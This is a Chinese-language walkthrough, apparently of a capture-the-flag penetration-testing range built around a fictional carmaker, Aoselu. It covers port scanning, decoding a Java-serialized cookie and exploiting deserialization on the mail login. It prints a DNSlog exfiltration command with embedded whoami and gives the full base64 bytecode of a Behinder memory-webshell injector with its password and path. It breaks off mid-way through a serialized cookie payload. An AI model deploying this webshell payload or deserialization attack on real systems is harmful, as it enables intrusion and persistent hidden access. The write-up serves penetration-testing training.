靶场介绍

本靶场以虚构汽车制造企业 Aoselu 为背景，模拟其真实企业内部网络环境，玩家需要进行信息收集、权限提升、横向移动、服务利用等内网渗透技术，逐步获取4个flag。 目前已通过信息收集获得该企业某员工的邮箱 ：rachel.cook9@aoseluauto.com/!QAZ2wsx

外网探测

./fscan_mac_arm64 -h 39.99.146.129 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.99.146.129:80 open
39.99.146.129:22 open
39.99.146.129:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.146.129      code:200 len:33611  title:Aoselu Automotive - Redefining Mobility
[*] WebTitle http://39.99.146.129:8080 code:200 len:15978  title:Aoselu Automotive - Email Login

http://39.99.146.129:8080有一个Email的web登陆页面

第一台：39.99.146.129/172.16.53.30(Extranet)

题目给的账号密码可以登陆

rachel.cook9@aoseluauto.com/!QAZ2wsx

数据包的cookie字段，出现rO0A，经典的经过base64编码的ava序列化后的字符串

java反序列化

rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5

base64接码一下

echo "rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5" | base64 -d | strings
!com.aoseluauto.mail.user.UserInfol
ageL
emailt
Ljava/lang/String;L
occupationq
realnameq
usernameq
rachel.cook9@aoseluauto.comt
Salespersont
Rachel Cookt
rachel.cook9

整理一下，类名是UserInfo

类名: com.aoseluauto.mail.user.UserInfo
--------------------------------
age: 28
email: rachel.cook9@aoseluauto.com
occupation: Salesperson
realname: Rachel Cook
username: rachel.cook9

yakit插件生成paylaod

rce是一个普通用户权限

根目录下有flag。

但是无权限查看

测试目标是否出网

nslookup `whoami`.myhgyc.dnslog.cn

yakit的dnslog没有回显，不能出网，一直超时

只能注入内存马了

冰蝎内存马注入

工具地址：https://github.com/pen4uin/java-memshell-generator/

java -jar jmg-gui-1.0.9_250101.jar

[>] Behinder SpringMVC Interceptor BASE64

[+] 基础信息:

密码: Jfgwuckzfpp
请求路径: /shell
请求头: User-Agent: Xjdrxgoz
脚本类型: JSP
内存马类名: com.google.gso.WhiteBlackListTtaInterceptor
注入器类名: org.junit.zb.ConfigurationUtil

[+] 结果输出:

yv66vgAAADEBSAEAHm9yZy9qdW5pdC96Yi9Db25maWd1cmF0aW9uVXRpbAcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIExvcmcvanVuaXQvemIvQ29uZmlndXJhdGlvblV0aWw7AQACLyoIAAwBAAxnZXRDbGFzc05hbWUBACtjb20uZ29vZ2xlLmdzby5XaGl0ZUJsYWNrTGlzdFR0YUludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQmsSDRzSUFBQUFBQUFBQUpWWCszc1R4eFU5SThsZUlTc2hFUUg4YUFPa2dVZ3l0c0F4QnR0SndEWUd1OGhPaW93ZHgrbGpKWTBsZ2J3cmRsYzJUcHVVcG1tYjlQMUlIK2s3ZlpFV1Nra0tNb1NHMHNmWEgvb1A5ZXN2VGMvc3lzSVB1VTQvKzl1ZHVYUG4zanZubm50bjljLy92SHNId0VIOFhhQTlZODRsY3FhWks4cEV6allUVS9tQ0l3ZUxldVpjc21BN0U0NCthampTeXNpU1kxb2FoTUQycy9xOG5panFSaTR4Vk5SdE8ybnFXY2tsdjhCaDA4b2w3SkpWTUhLemxqNG5GMHpyWEdKQnBoTzJ0T2FMMGtrTTJJdEdaa1Ezc2tWcHJiTGJJQ0J5dEIyZEdZd2wxempvRndnTW1Wa3BzRFZaTU9SNGVTNHRyUWs5WGFRa2tqUXplbkZTdHdwcVhoVUduSHpCRnVoSS9oOUhveE9SRnZETkRBbzBaZVVzSGJuT0JYWXlwdEhSOVZHRjhRQWVEQ0dBaUVEakV3V2o0RHdsMEJwZHErZkIweCticElNTXJXMndIc1pEMks2c05RdjRvN0ZKTlc5Vjh6YUJMU1ZMZXFBSlpEMEhGMnFRNWgybmxCamhJK1VKVHN2elpXazcvWnVxMlNYVHNHWC9pbmllVHArVkdhYy85cHpBdG52UzRRc0tvWUpwYU5nbG9OblN0amtSMkwyeEIxZURpUHJOOUZtVk5kZFkyU2tVRTJONmlmTHQxYTBaYTVIWUo0WUtwYnhVR2RBc0wzaUJ4ejdnS1FXQ1Z2VWtBcHREVXowelBlVTlFaW9HclFOQTRMNlVRNVl3MkNxalFubXBzalJPVHEvZWtYSVUyWm05RG5SdWdROEpnYjBmS0hJTkI1blluSFJHWE1zQys2THJ6Y2JxZVhvYzNVM293aUh5MUl0cVVpK1daUmlIdlFpT0NEeXdkcGVHUGdLVk1RMUhMeGlrZE5zcWx1WjFLNldDTWpLU3VRL2pDVHdaUWovSTVoRGpTeTNuKzVGb2JMT01oM0VNQXlvNEZ0R0Q5NUkrb3R0NVlxbmhlQWpEYUF0aUh4RmV4UWtOSTJSTHFjek1ING11VDBnZGpxNFhoZkZSbkdyQ0tKSkJSSVBZdzNvckIvRU0yMEdKWlJiR2FRK2ZsTURELy9zWUdzNFFMUWJqQWtzdTFzbE1uWWhZc2xONHRnbVRtT1paQm9aVFFjeFVDMmtOMHpWOG5Na2p0cU9HN2VpRVhTQzJZZmJYVmtrWW44U25RdmdFZElGZHF4VHNrc3drVWpKalNlZVVYRXh4cG9FZEowaEhnNHVPWk40RDBkak1ZQmdTc3lyQk9hKzMxWEhzZHA5Q0NGbXdmQU9xdFNuVlVVL1RscG15VlhBV0UzVGlxaFl4cCtJeFZoSFBRMFZEeVF1ZzJrdTNSZXYxVVF0MkNPZEJKMXZYTEdxWUY3aC9lYi9YS2dWYTFsdXBkZEVMV0F4aEFTK0VtT3BtcjhKT1Z5dXNkWGxid1V3TWxtZG5wU1d6M2hyM3ZZaVhGSEUvSzdDanZvNkd6N25OUnMrcVMwamdvV2pkNnZ3OFhnbmhaWHlCcnRNOTNjZGx4cjI0ZHRSTHIwckZsL0NxaXZRMWRxU3NlYUpnNkVWZUp1b1NWSXRmd1ZjVnNGOExRME5RcVgyRHRESGt3ajNhckE2aVZnamZ3cmNWQ04raExSYTJYclRWelZxdjBZZnhYWHhQWWY5OUZudXQwZHNxR2pkeW90YVkxbTNaMDgyQ3JuY3Z6K3RXejNJL1gzTmRjTm1YcHFtR2VWVkdHclpXK2RHcGlyNXowTFVheEMvb2E5YXNkdGE5bS9UQVpjTDhDcjlXNS91TjE2RThrSzBnM21Kdm5sbW5ydUYzSGcvR3BKTTNzd0xINm5oWnYyMmxYMHZPRmdsWXdyUEFBSzdnOXlxQXEyVDB6SHBjTlZ3VGFONW91NFozaUdyQm1EZlA4Y2k5ZGZKU3gyVGRORi9IalJEK2lBck5lZWtLNGlhNVpwZU56cm1DbmVrY0hFZ05MM09ROEx3ckVQYjBQR1lIOFNlbVJPOCswdHZWZTZpbis5REJURStYM2hYRUhjSjZoczJ4WXlBbkRTZUl1K1Q5czJlejFvV2MrVUlRZjhVZU1qRUFPb1dmVDdaVmZrb0tkUUc2NzhQdXU0RWprcGJQTFp3OVNYMGYzMXZpN2Y3Mk8wdllkbzBUSDBKOE5sSUZhRVVUbnpzOEpZUnhIK0NPN3NkV3JndjFiVlExOVF4MWxGWnp2SDBKTGZISW4yOWdJaDc1eXcwY2lFZitkZ085Yjljc2gxeTlYZGlKM1N1c045ZXNOMU95czJxOXRXcDltRG9xbnAzeEpYeG9jK01mb1lsSFhlTmhiMXZWdU1DSDhUQTFhRkxNOG9nYVpkZmI0OWR4NEJaNmZQZ0gzcm8zNGFDM2dxTnY0UFgyV3hnUzZBdmN4dkQwRWs3ME5iUTBSRTVTT09iSEZJZmorMnZEcDFzQzFYRWc4akVhbUxpRjUveUlQSDhUNmI3R2xzYUcyOGhPSzNFRitjanpTemhYZ1hrYnZ1bDRCZVVLUHIyRXo3UTB4cWRvK2FKQUJWKzhpUzlYOFBVS3ZsbkI2eTBORmZ4ZzZoSWErZ0wrSzRFclBNa2VYTVpWUXVoM3o5M0hsQUNQVVJyalg1d2RzNTNaM1k4UjVuK0NtZGVSUUI0SDhCSi9YRnptcDhwVmFseEROOTVCajR2VENMR0lzVC91d1NQa1JCY1dpZUdqWkVzZVE4UnlMN0VpVXJVVVhjYysraEx1S01wOVBuY1VwMDgvZmFvcytQK0ZxeHAyODJmSkc1d3JWdTRtNnV5cVZmVFAwR0lEVjE0UnljZ3ZiK0xTMlA3SWI4VmRYSzdnRC92NWZydUNwZkVPd2hLNUZYZ1BDOVArU0grS1N4MmNuSi8yeHpsZXVvczN2Zi9rSlJ3ZGo5eDJqUkNwdmtCTFFHMThiK1hHbHNBR080bG4reldYdWtNNHdSaFA4c0s1V0VPMWl5Y0diMlFmanJKbWpxRU5BOVFicGVZZ05ZOWpqTVJNY2ZZaThidEl5Y3M0VlVPempjajgwRVVraUtmd0kveFlmZU1RSXlVTGNPZmpWZGxKMnY4SmZrbzlvb0dmdVZYcW82V2Z1eVdtMEl6Qi96NmQrRFN3ZzcwSlFWemZSeThDMVRtbnJ1emZXQWsyL2d1bGdUNHZUQTRBQUE9PQgAFwEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAGQAaCgAWABsBAAMoKVYBAAdjb250ZXh0AQASTGphdmEvbGFuZy9PYmplY3Q7AQALaW50ZXJjZXB0b3IMABkAHQoABAAhAQAKZ2V0Q29udGV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAAjACQKAAIAJQEADmdldEludGVyY2VwdG9yDAAnACQKAAIAKAEADmFkZEludGVyY2VwdG9yAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDAAqACsKAAIALAEAE2phdmEvbGFuZy9FeGNlcHRpb24HAC4BABFyZXF1ZXN0QXR0cmlidXRlcwEAC2h0dHByZXF1ZXN0AQAHc2Vzc2lvbgEADnNlcnZsZXRDb250ZXh0AQATYXBwbGljYXRpb25Db250ZXh0cwEAGUxqYXZhL3V0aWwvTGlua2VkSGFzaFNldDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwA5AQAQamF2YS9sYW5nL09iamVjdAcAOwEADVN0YWNrTWFwVGFibGUBABBqYXZhL2xhbmcvVGhyZWFkBwA+AQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DABAAEEKAD8AQgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAEQARQoAPwBGAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyCABIAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwASgBLCgA6AEwBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwgATgEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABQAFEKAAIAUgEACmdldFJlcXVlc3QIAFQBAApnZXRTZXNzaW9uCABWAQARZ2V0U2VydmxldENvbnRleHQIAFgBAEJvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LnN1cHBvcnQuV2ViQXBwbGljYXRpb25Db250ZXh0VXRpbHMIAFoBABhnZXRXZWJBcHBsaWNhdGlvbkNvbnRleHQIAFwBAA9qYXZhL2xhbmcvQ2xhc3MHAF4BABxqYXZheC5zZXJ2bGV0LlNlcnZsZXRDb250ZXh0CABgAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABQAGIKAAIAYwEAMW9yZy5zcHJpbmdmcmFtZXdvcmsuY29udGV4dC5zdXBwb3J0LkxpdmVCZWFuc1ZpZXcIAGUBAAtuZXdJbnN0YW5jZQwAZwAkCgBfAGgIADQBAAVnZXRGVgwAawBRCgACAGwBABdqYXZhL3V0aWwvTGlua2VkSGFzaFNldAcAbgEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAcABxCgBvAHIBABJqYXZhL3V0aWwvSXRlcmF0b3IHAHQBAARuZXh0DAB2ACQLAHUAdwEANW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQuV2ViQXBwbGljYXRpb25Db250ZXh0CAB5AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB7AHwKADwAfQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgwAfwCACgBfAIEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcAgwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAIUBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwCHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HAIkBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCLAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsMAA4ABgoAAgCVDAARAAYKAAIAlwEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAJkAmgoAAgCbAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAJ0AngoAAgCfCACPBwCOAQARamF2YS9sYW5nL0ludGVnZXIHAKMBAARUWVBFDAClAJIJAKQApgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAqACpCgBfAKoBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAKwBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwArgCvCgCtALABAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAsgCzCgCkALQBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMALYAtwoArQC4AQAWYWJzdHJhY3RIYW5kbGVyTWFwcGluZwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAAdnZXRCZWFuCAC/AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwgAwQgAuwEAE2phdmEvdXRpbC9BcnJheUxpc3QHAMQBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAMYAxwoAxQDIAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIANABAAdmb3JOYW1lDADSAEsKAF8A0wEADGRlY29kZUJ1ZmZlcggA1QEACWdldE1ldGhvZAwA1wCpCgBfANgBABBqYXZhLnV0aWwuQmFzZTY0CADaAQAKZ2V0RGVjb2RlcggA3AEABmRlY29kZQgA3gEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAAFJAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAOoBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtBwDsAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0HAO4KAOsAIQEABShbQilWDAAZAPEKAO0A8gEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAGQD0CgDvAPUBAARyZWFkAQAFKFtCKUkMAPcA+AoA7wD5AQAFd3JpdGUBAAcoW0JJSSlWDAD7APwKAOsA/QEAC3RvQnl0ZUFycmF5AQAEKClbQgwA/wEACgDrAQEBAAVzZXRGVgEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABHZhcjABAAR2YXIxAQADdmFsAQAEZ2V0RgEAPyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBCAEJCgACAQoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcBDAEAA3NldAwBDgArCgENAQ8BAANvYmoBAAlmaWVsZE5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKAQ0AsAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAEWARcKAQ0BGAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBGgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBHQEeCgBfAR8BAA1nZXRTdXBlcmNsYXNzDAEhAHwKAF8BIgoBGwAbAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAAWkBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHASkBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBMwE0CgBfATUBAAdnZXROYW1lDAE3AAYKAK0BOAEABmVxdWFscwwBOgDHCgAWATsBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAE9AT4KAK0BPwoAiAAbAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAUIBAApnZXRNZXNzYWdlDAFEAAYKAIoBRQoBQwAbACEAAgAEAAAAAAAOAAEABQAGAAEABwAAAC0AAQABAAAAAxINsAAAAAIACAAAAAYAAQAAABAACQAAAAwAAQAAAAMACgALAAAAAQAOAAYAAQAHAAAAEAABAAEAAAAEEwAQsAAAAAAAAQARAAYAAgASAAAABAABABQABwAAABcAAwABAAAAC7sAFlkTABi3ABywAAAAAAABABkAHQACAAcAAABjAAMAAwAA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

[+] 调试信息:

内存马类名: com.google.gso.WhiteBlackListTtaInterceptor
注入器类名: org.junit.zb.ConfigurationUtil
内存马字节流长度: 3660
注入器字节流长度: 9906

GET /mail/u/0/ HTTP/1.1
Host: 39.99.154.100:8080
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Referer: http://39.99.146.129:8080/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Cookie: userInfo=rO0ABXNyAFbBr8GywafArsGhwbDBocGjwajBpcCuwaPBr8Gtwa3Br8GuwbPArsGjwa/BrMGswaXBo8G0wanBr8GuwbPAtMCuwaLBocGnwK7BlMGywaXBpcGCwaHBp5SVecHY59tsAwAAeHBzcgCEwa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwLTArsGjwa/BrcGwwaHBssGhwbTBr8GywbPArsGUwbLBocGuwbPBpsGvwbLBrcGpwa7Bp8GDwa/BrcGwwaHBssGhwbTBr8GyL/mE8CuxCMwCAAJMABLBpMGlwaPBr8GywaHBtMGlwaR0ACzBjMGqwaHBtsGhwK/BtcG0wanBrMCvwYPBr8GtwbDBocGywaHBtMGvwbLAu0wAFsG0wbLBocGuwbPBpsGvwbLBrcGlwbJ0AFrBjMGvwbLBp8CvwaHBsMGhwaPBqMGlwK/Bo8Gvwa3BrcGvwa7Bs8CvwaPBr8G